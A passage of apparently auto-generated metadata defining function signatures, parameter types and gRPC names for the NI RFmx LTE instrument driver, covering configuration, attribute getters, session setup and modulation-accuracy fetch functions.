'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'centerFrequency', 'type': 'float64' }, { 'direction': 'in', 'name': 'referenceLevel', 'type': 'float64' }, { 'direction': 'in', 'name': 'externalAttenuation', 'type': 'float64' } ], 'returns': 'int32' }, 'CfgRFAttenuation': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'channelName', 'type': 'char[]' }, { 'direction': 'in', 'enum': 'RFAttenuationAuto', 'name': 'rfAttenuationAuto', 'type': 'int32' }, { 'direction': 'in', 'name': 'rfAttenuationValue', 'type': 'float64' } ], 'returns': 'int32' }, 'CfgReferenceLevel': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'referenceLevel', 'type': 'float64' } ], 'returns': 'int32' }, 'CfgSoftwareEdgeTrigger': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'triggerDelay', 'type': 'float64' }, { 'direction': 'in', 'name': 'enableTrigger', 'type': 'int32' } ], 'returns': 'int32' }, 'CfgSubblockFrequencyDefinition': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'subblockFrequencyDefinition', 'type': 'int32' } ], 'returns': 'int32' }, 'CfgTransmitAntennaToAnalyze': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'transmitAntennaToAnalyze', 'type': 'int32' } ], 'returns': 'int32' }, 'CfgeNodeBCategory': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'enum': 'ENodeBCategory', 'grpc_name': 'enodeb_category', 'name': 'eNodeBCategory', 'type': 'int32' } ], 'returns': 'int32' }, 'CheckMeasurementStatus': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'out', 'grpc_type': 'bool', 'name': 'isDone', 'type': 'int32' } ], 'returns': 'int32' }, 'ClearAllNamedResults': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' } ], 'returns': 'int32' }, 'ClearNamedResult': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' } ], 'returns': 'int32' }, 'ClearNoiseCalibrationDatabase': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' } ], 'returns': 'int32' }, 'CloneSignalConfiguration': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'oldSignalName', 'type': 'char[]' }, { 'direction': 'in', 'name': 'newSignalName', 'type': 'char[]' } ], 'returns': 'int32' }, 'Close': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'grpc_type': 'bool', 'name': 'forceDestroy', 'type': 'int32' } ], 'returns': 'int32' }, 'Commit': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' } ], 'returns': 'int32' }, 'CreateSignalConfiguration': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'signalName', 'type': 'char[]' } ], 'returns': 'int32' }, 'DeleteSignalConfiguration': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'signalName', 'type': 'char[]' } ], 'returns': 'int32' }, 'DisableTrigger': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' } ], 'returns': 'int32' }, 'GetAllNamedResultNames': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'out', 'name': 'resultNames', 'size': { 'mechanism': 'ivi-dance-with-a-twist', 'value': 'resultNamesBufferSize', 'value_twist': 'actualResultNamesSize' }, 'type': 'char[]' }, { 'direction': 'in', 'name': 'resultNamesBufferSize', 'type': 'int32' }, { 'direction': 'out', 'name': 'actualResultNamesSize', 'type': 'int32' }, { 'direction': 'out', 'name': 'defaultResultExists', 'type': 'int32' } ], 'returns': 'int32' }, 'GetAttributeF32': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'grpc_type': 'NiRFmxLTEAttribute', 'name': 'attributeID', 'type': 'int32' }, { 'direction': 'out', 'name': 'attrVal', 'type': 'float32' } ], 'returns': 'int32' }, 'GetAttributeF32Array': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'grpc_type': 'NiRFmxLTEAttribute', 'name': 'attributeID', 'type': 'int32' }, { 'direction': 'out', 'name': 'attrVal', 'size': { 'mechanism': 'ivi-dance-with-a-twist', 'value': 'arraySize', 'value_twist': 'actualArraySize' }, 'type': 'float32[]' }, { 'direction': 'in', 'name': 'arraySize', 'type': 'int32' }, { 'direction': 'out', 'name': 'actualArraySize', 'type': 'int32' } ], 'returns': 'int32' }, 'GetAttributeF64': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'grpc_type': 'NiRFmxLTEAttribute', 'name': 'attributeID', 'type': 'int32' }, { 'direction': 'out', 'name': 'attrVal', 'type': 'float64' } ], 'returns': 'int32' }, 'GetAttributeF64Array': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'grpc_type': 'NiRFmxLTEAttribute', 'name': 'attributeID', 'type': 'int32' }, { 'direction': 'out', 'name': 'attrVal', 'size': { 'mechanism': 'ivi-dance-with-a-twist', 'value': 'arraySize', 'value_twist': 'actualArraySize' }, 'type': 'float64[]' }, { 'direction': 'in', 'name': 'arraySize', 'type': 'int32' }, { 'direction': 'out', 'name': 'actualArraySize', 'type': 'int32' } ], 'returns': 'int32' }, 'GetAttributeI16': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'grpc_type': 'NiRFmxLTEAttribute', 'name': 'attributeID', 'type': 'int32' }, { 'direction': 'out', 'name': 'attrVal', 'type': 'int16' } ], 'returns': 'int32' }, 'GetAttributeI32': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'grpc_type': 'NiRFmxLTEAttribute', 'name': 'attributeID', 'type': 'int32' }, { 'direction': 'out', 'name': 'attrVal', 'type': 'int32' } ], 'returns': 'int32' }, 'GetAttributeI32Array': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'grpc_type': 'NiRFmxLTEAttribute', 'name': 'attributeID', 'type': 'int32' }, { 'direction': 'out', 'name': 'attrVal', 'size': { 'mechanism': 'ivi-dance-with-a-twist', 'value': 'arraySize', 'value_twist': 'actualArraySize' }, 'type': 'int32[]' }, { 'direction': 'in', 'name': 'arraySize', 'type': 'int32' }, { 'direction': 'out', 'name': 'actualArraySize', 'type': 'int32' } ], 'returns': 'int32' }, 'GetAttributeI64': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'grpc_type': 'NiRFmxLTEAttribute', 'name': 'attributeID', 'type': 'int32' }, { 'direction': 'out', 'name': 'attrVal', 'type': 'int64' } ], 'returns': 'int32' }, 'GetAttributeI64Array': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'grpc_type': 'NiRFmxLTEAttribute', 'name': 'attributeID', 'type': 'int32' }, { 'direction': 'out', 'name': 'attrVal', 'size': { 'mechanism': 'ivi-dance-with-a-twist', 'value': 'arraySize', 'value_twist': 'actualArraySize' }, 'type': 'int64[]' }, { 'direction': 'in', 'name': 'arraySize', 'type': 'int32' }, { 'direction': 'out', 'name': 'actualArraySize', 'type': 'int32' } ], 'returns': 'int32' }, 'GetAttributeI8': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'grpc_type': 'NiRFmxLTEAttribute', 'name': 'attributeID', 'type': 'int32' }, { 'direction': 'out', 'name': 'attrVal', 'type': 'int8' } ], 'returns': 'int32' }, 'GetAttributeI8Array': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'grpc_type': 'NiRFmxLTEAttribute', 'name': 'attributeID', 'type': 'int32' }, { 'direction': 'out', 'name': 'attrVal', 'size': { 'mechanism': 'ivi-dance-with-a-twist', 'value': 'arraySize', 'value_twist': 'actualArraySize' }, 'type': 'int8[]' }, { 'direction': 'in', 'name': 'arraySize', 'type': 'int32' }, { 'direction': 'out', 'name': 'actualArraySize', 'type': 'int32' } ], 'returns': 'int32' }, 'GetAttributeNIComplexDoubleArray': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'grpc_type': 'NiRFmxLTEAttribute', 'name': 'attributeID', 'type': 'int32' }, { 'direction': 'out', 'name': 'attrVal', 'size': { 'mechanism': 'ivi-dance-with-a-twist', 'value': 'arraySize', 'value_twist': 'actualArraySize' }, 'type': 'NIComplexDouble[]' }, { 'direction': 'in', 'name': 'arraySize', 'type': 'int32' }, { 'direction': 'out', 'name': 'actualArraySize', 'type': 'int32' } ], 'returns': 'int32' }, 'GetAttributeNIComplexSingleArray': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'grpc_type': 'NiRFmxLTEAttribute', 'name': 'attributeID', 'type': 'int32' }, { 'direction': 'out', 'name': 'attrVal', 'size': { 'mechanism': 'ivi-dance-with-a-twist', 'value': 'arraySize', 'value_twist': 'actualArraySize' }, 'type': 'NIComplexSingle[]' }, { 'direction': 'in', 'name': 'arraySize', 'type': 'int32' }, { 'direction': 'out', 'name': 'actualArraySize', 'type': 'int32' } ], 'returns': 'int32' }, 'GetAttributeString': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'grpc_type': 'NiRFmxLTEAttribute', 'name': 'attributeID', 'type': 'int32' }, { 'direction': 'in', 'name': 'arraySize', 'type': 'int32' }, { 'direction': 'out', 'name': 'attrVal', 'size': { 'mechanism': 'ivi-dance', 'value': 'arraySize' }, 'type': 'char[]' } ], 'returns': 'int32' }, 'GetAttributeU16': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'grpc_type': 'NiRFmxLTEAttribute', 'name': 'attributeID', 'type': 'int32' }, { 'direction': 'out', 'name': 'attrVal', 'type': 'uInt16' } ], 'returns': 'int32' }, 'GetAttributeU32': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'grpc_type': 'NiRFmxLTEAttribute', 'name': 'attributeID', 'type': 'int32' }, { 'direction': 'out', 'name': 'attrVal', 'type': 'uInt32' } ], 'returns': 'int32' }, 'GetAttributeU32Array': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'grpc_type': 'NiRFmxLTEAttribute', 'name': 'attributeID', 'type': 'int32' }, { 'direction': 'out', 'name': 'attrVal', 'size': { 'mechanism': 'ivi-dance-with-a-twist', 'value': 'arraySize', 'value_twist': 'actualArraySize' }, 'type': 'uInt32[]' }, { 'direction': 'in', 'name': 'arraySize', 'type': 'int32' }, { 'direction': 'out', 'name': 'actualArraySize', 'type': 'int32' } ], 'returns': 'int32' }, 'GetAttributeU64Array': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'grpc_type': 'NiRFmxLTEAttribute', 'name': 'attributeID', 'type': 'int32' }, { 'direction': 'out', 'name': 'attrVal', 'size': { 'mechanism': 'ivi-dance-with-a-twist', 'value': 'arraySize', 'value_twist': 'actualArraySize' }, 'type': 'uInt64[]' }, { 'direction': 'in', 'name': 'arraySize', 'type': 'int32' }, { 'direction': 'out', 'name': 'actualArraySize', 'type': 'int32' } ], 'returns': 'int32' }, 'GetAttributeU8': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'grpc_type': 'NiRFmxLTEAttribute', 'name': 'attributeID', 'type': 'int32' }, { 'direction': 'out', 'name': 'attrVal', 'type': 'uInt8' } ], 'returns': 'int32' }, 'GetAttributeU8Array': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'grpc_type': 'NiRFmxLTEAttribute', 'name': 'attributeID', 'type': 'int32' }, { 'direction': 'out', 'name': 'attrVal', 'size': { 'mechanism': 'ivi-dance-with-a-twist', 'value': 'arraySize', 'value_twist': 'actualArraySize' }, 'type': 'uInt8[]' }, { 'direction': 'in', 'name': 'arraySize', 'type': 'int32' }, { 'direction': 'out', 'name': 'actualArraySize', 'type': 'int32' } ], 'returns': 'int32' }, 'GetError': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'out', 'name': 'errorCode', 'type': 'int32' }, { 'direction': 'in', 'name': 'errorDescriptionBufferSize', 'type': 'int32' }, { 'direction': 'out', 'name': 'errorDescription', 'size': { 'mechanism': 'ivi-dance', 'value': 'errorDescriptionBufferSize' }, 'type': 'char[]' } ], 'returns': 'int32' }, 'GetErrorString': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'errorCode', 'type': 'int32' }, { 'direction': 'in', 'name': 'errorDescriptionBufferSize', 'type': 'int32' }, { 'direction': 'out', 'name': 'errorDescription', 'size': { 'mechanism': 'ivi-dance', 'value': 'errorDescriptionBufferSize' }, 'type': 'char[]' } ], 'returns': 'int32' }, 'Initialize': { 'custom_close': 'Close(id, RFMXLTE_VAL_FALSE)', 'init_method': True, 'parameters': [ { 'direction': 'in', 'name': 'resourceName', 'type': 'char[]' }, { 'direction': 'in', 'name': 'optionString', 'type': 'char[]' }, { 'direction': 'out', 'grpc_name': 'instrument', 'name': 'handleOut', 'type': 'niRFmxInstrHandle' }, { 'direction': 'out', 'name': 'isNewSession', 'type': 'int32' } ], 'returns': 'int32' }, 'InitializeFromNIRFSASession': { 'custom_close': 'Close(id, RFMXLTE_VAL_FALSE)', 'init_method': True, 'parameters': [ { 'cross_driver_session': 'ViSession', 'direction': 'in', 'grpc_type': 'nidevice_grpc.Session', 'name': 'nirfsaSession', 'type': 'uInt32' }, { 'direction': 'out', 'grpc_name': 'instrument', 'name': 'handleOut', 'type': 'niRFmxInstrHandle' } ], 'returns': 'int32' }, 'Initiate': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'resultName', 'type': 'char[]' } ], 'returns': 'int32' }, 'ModAccCfgAveraging': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'enum': 'ModAccAveragingEnabled', 'name': 'averagingEnabled', 'type': 'int32' }, { 'direction': 'in', 'name': 'averagingCount', 'type': 'int32' } ], 'returns': 'int32' }, 'ModAccCfgCommonClockSourceEnabled': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'enum': 'ModAccCommonClockSourceEnabled', 'name': 'commonClockSourceEnabled', 'type': 'int32' } ], 'returns': 'int32' }, 'ModAccCfgEVMUnit': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'enum': 'ModAccEvmUnit', 'name': 'evmUnit', 'type': 'int32' } ], 'returns': 'int32' }, 'ModAccCfgFFTWindowOffset': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'fftWindowOffset', 'type': 'float64' } ], 'returns': 'int32' }, 'ModAccCfgFFTWindowPosition': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'enum': 'ModAccFftWindowType', 'name': 'fftWindowType', 'type': 'int32' }, { 'direction': 'in', 'name': 'fftWindowOffset', 'type': 'float64' }, { 'direction': 'in', 'name': 'fftWindowLength', 'type': 'float64' } ], 'returns': 'int32' }, 'ModAccCfgInBandEmissionMaskType': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'enum': 'ModAccInBandEmissionMaskType', 'name': 'inBandEmissionMaskType', 'type': 'int32' } ], 'returns': 'int32' }, 'ModAccCfgSynchronizationModeAndInterval': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'enum': 'ModAccSynchronizationMode', 'name': 'synchronizationMode', 'type': 'int32' }, { 'direction': 'in', 'name': 'measurementOffset', 'type': 'int32' }, { 'direction': 'in', 'name': 'measurementLength', 'type': 'int32' } ], 'returns': 'int32' }, 'ModAccFetchCSRSConstellation': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'timeout', 'type': 'float64' }, { 'direction': 'out', 'name': 'csrsConstellation', 'size': { 'mechanism': 'ivi-dance-with-a-twist', 'value': 'arraySize', 'value_twist': 'actualArraySize' }, 'type': 'NIComplexSingle[]' }, { 'direction': 'in', 'name': 'arraySize', 'type': 'int32' }, { 'direction': 'out', 'name': 'actualArraySize', 'type': 'int32' } ], 'returns': 'int32' }, 'ModAccFetchCSRSEVM': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'timeout', 'type': 'float64' }, { 'direction': 'out', 'grpc_name': 'mean_rms_csrs_evm', 'name': 'meanRMSCSRSEVM', 'type': 'float64' } ], 'returns': 'int32' }, 'ModAccFetchCSRSEVMArray': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'timeout', 'type': 'float64' }, { 'direction': 'out', 'grpc_name': 'mean_rms_csrs_evm', 'name': 'meanRMSCSRSEVM', 'size': { 'mechanism': 'ivi-dance-with-a-twist', 'value': 'arraySize', 'value_twist': 'actualArraySize' }, 'type': 'float64[]' }, { 'direction': 'in', 'name': 'arraySize', 'type': 'int32' }, { 'direction': 'out', 'name': 'actualArraySize', 'type': 'int32' } ], 'returns': 'int32' }, 'ModAccFetchCompositeEVM': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'timeout', 'type': 'float64' }, { 'direction': 'out', 'name': 'meanRMSCompositeEVM', 'type': 'float64' }, { 'direction': 'out', 'name': 'maximumPeakCompositeEVM', 'type': 'float64' }, { 'direction': 'out', 'name': 'meanFrequencyError', 'type': 'float64' }, { 'direction': 'out', 'name': 'peakCompositeEVMSymbolIndex', 'type': 'int32' }, { 'direction': 'out', 'name': 'peakCompositeEVMSubcarrierIndex', 'type': 'int32' }, { 'direction': 'out', 'name': 'peakCompositeEVMSlotIndex', 'type': 'int32' } ], 'returns': 'int32' }, 'ModAccFetchCompositeEVMArray': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'timeout', 'type': 'float64' }, { 'direction': 'out', 'name': 'meanRMSCompositeEVM', 'size': { 'mechanism': 'ivi-dance-with-a-twist', 'value': 'arraySize', 'value_twist': 'actualArraySize' }, 'type': 'float64[]' }, { 'direction': 'out', 'name': 'maximumPeakCompositeEVM', 'size': { 'mechanism': 'ivi-dance-with-a-twist', 'value': 'arraySize', 'value_twist': 'actualArraySize' }, 'type': 'float64[]' }, { 'direction': 'out', 'name': 'meanFrequencyError', 'size': { 'mechanism': 'ivi-dance-with-a-twist', 'value': 'arraySize', 'value_twist': 'actualArraySize' }, 'type': 'float64[]' }, { 'direction': 'out', 'name': 'peakCompositeEVMSymbolIndex', 'size': { 'mechanism': 'ivi-dance-with-a-twist', 'value': 'arraySize', 'value_twist': 'actualArraySize' }, 'type': 'int32[]' }, { 'direction': 'out', 'name': 'peakCompositeEVMSubcarrierIndex', 'size': { 'mechanism': 'ivi-dance-with-a-twist', 'value': 'arraySize', 'value_twist': 'actualArraySize' }, 'type': 'int32[]' }, { 'direction': 'out', 'name': 'peakCompositeEVMSlotIndex', 'size': { 'mechanism': 'ivi-dance-with-a-twist', 'value': 'arraySize', 'value_twist': 'actualArraySize' }, 'type': 'int32[]' }, { 'direction': 'in', 'name': 'arraySize', 'type': 'int32' }, { 'direction': 'out', 'name': 'actualArraySize', 'type': 'int32' } ], 'returns': 'int32' }, 'ModAccFetchCompositeMagnitudeAndPhaseError': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'timeout', 'type': 'float64' }, { 'direction': 'out', 'name': 'meanRMSCompositeMagnitudeError', 'type': 'float64' }, { 'direction': 'out', 'name': 'maxPeakCompositeMagnitudeError', 'type': 'float64' }, { 'direction': 'out', 'name': 'meanRMSCompositePhaseError', 'type': 'float64' }, { 'direction': 'out', 'name': 'maxPeakCompositePhaseError', 'type': 'float64' } ], 'returns': 'int32' }, 'ModAccFetchCompositeMagnitudeAndPhaseErrorArray': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'timeout', 'type': 'float64' }, { 'direction': 'out', 'name': 'meanRMSCompositeMagnitudeError', 'size': { 'mechanism': 'ivi-dance-with-a-twist', 'value': 'arraySize', 'value_twist': 'actualArraySize' }, 'type': 'float64[]' }, { 'direction': 'out', 'name': 'maximumPeakCompositeMagnitudeError', 'size': { 'mechanism': 'ivi-dance-with-a-twist', 'value': 'arraySize', 'value_twist': 'actualArraySize' }, 'type': 'float64[]' }, { 'direction': 'out', 'name': 'meanRMSCompositePhaseError', 'size': { 'mechanism': 'ivi-dance-with-a-twist', 'value': 'arraySize', 'value_twist': 'actualArraySize' }, 'type': 'float64[]' }, { 'direction': 'out', 'name': 'maximumPeakCompositePhaseError', 'size': { 'mechanism': 'ivi-dance-with-a-twist', 'value': 'arraySize', 'value_twist': 'actualArraySize' }, 'type': 'float64[]' }, { 'direction': 'in', 'name': 'arraySize', 'type': 'int32' }, { 'direction': 'out', 'name': 'actualArraySize', 'type': 'int32' } ], 'returns': 'int32' }, 'ModAccFetchDownlinkDetectedCellID': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'timeout', 'type': 'float64' }, { 'direction': 'out', 'name': 'detectedCellID', 'type': 'int32' } ], 'returns': 'int32' }, 'ModAccFetchDownlinkDetectedCellIDArray': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'timeout', 'type': 'float64' }, { 'direction': 'out', 'name': 'detectedCellID', 'size': { 'mechanism': 'ivi-dance-with-a-twist', 'value': 'arraySize', 'value_twist': 'actualArraySize' }, 'type': 'int32[]' }, { 'direction': 'in', 'name': 'arraySize', 'type': 'int32' }, { 'direction': 'out', 'name': 'actualArraySize', 'type': 'int32' } ], 'returns': 'int32' }, 'ModAccFetchDownlinkPBCHConstellation': { 'parameters': [ { 'direction': 'in', 'grpc_name': 'instrument', 'name': 'instrumentHandle', 'type': 'niRFmxInstrHandle' }, { 'direction': 'in', 'name': 'selectorString', 'type': 'char[]' }, { 'direction': 'in', 'name': 'timeout', 'type': 'float64' }, { 'direction': 'out', 'name': 'pbchConstellation', 'size': { 'mechanism': 'ivi-dance-with-a-twist', 'value': 'arraySize', 'value_twist': 'actualArraySize' }, 'type': 'NIComplexSingle[]' }, { 'direction': 